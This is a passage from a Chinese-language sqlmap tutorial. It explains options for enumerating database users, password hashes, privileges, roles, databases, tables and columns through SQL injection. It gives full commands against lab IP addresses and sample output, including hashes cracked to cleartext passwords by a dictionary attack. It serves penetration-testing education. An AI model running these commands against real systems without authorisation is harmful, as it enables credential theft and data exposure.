当前用户有读取包含了数据库管理系统中用户密码Hash值的系统表的权限时使用这一参数可以列举数据库管理系统中用户密码Hash值。
Sqlmap会先列举用户,再列举用户密码Hash值。
下面是一个以PostgreSQL为目标的例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
部分输出如下所示:
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
Sqlmap不仅会列举出密码Hash,还会解析密码Hash格式,并询问用户是否要通过密码字典的方式破解Hash值寻找出明文密码。
若想只枚举特定用户的密码使用参数“-U”指定用户,可用“CU”来代表当前用户,如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --password -U CU
部分输出如下:
database management system users password hashes:
[*] root [1]:
password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
clear-text password: root
9.列举数据库管理系统的用户权限
参数:–privileges
当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的权限。通过用户权限可以判断哪些用户是管理员。
若想只枚举特定用户的权限使用参数“-U”指定用户,可用“CU”来代表当前用户。
若目标是微软的SQL Server,这一参数会列出每个用户是否是管理员而不列出每个用户的具体权限。
10.列举数据库管理系统的用户角色
参数:–roles
当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的角色。
若想只枚举特定用户的角色使用参数“-U”指定用户,可用“CU”来代表当前用户。
官方手册上说只有目标数据库管理系统是Oracle时这一功能才可用,但我在Mysql中测试也是可用的。
11.列举数据库管理系统中的所有数据库
参数:–dbs
当前用户有读取包含了数据库管理系统中可用数据库信息的系统表的权限时使用这一参数可以列举数据库管理系统中所有数据库。
12.列举数据库数据库的所有表
参数:–tables、–exclude-sysdbs和-D
当前用户有读取包含了数据库管理系统中可用数据库中数据表信息的系统表的权限时使用参数“–tables”可以列举用参数“-D”指定的数据库中的所有数据表。
若没有用参数“-D”指定数据库,只使用参数“–tables”会列举所有数据库中所有表。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" -D DBName --tables
使用参数“–exclude-sysdbs”可排除系统数据库。在Oracle中要指定TABLESPACE_NAME而不是数据库名。
13.列举数据表的所有列
参数:–columns、-C、-T和-D
如权限允许,使用参数“–columns”可以列出用“-D”指定的数据库中用“-T”指定的表中的所有列的名字和数据类型。
若没有指定数据库则会默认使用当前数据库。还可以用“-C”指定感兴趣的某几列这样就不用列出所有列来。
下面是以SQLite为目标的例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users
部分输出如下:
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+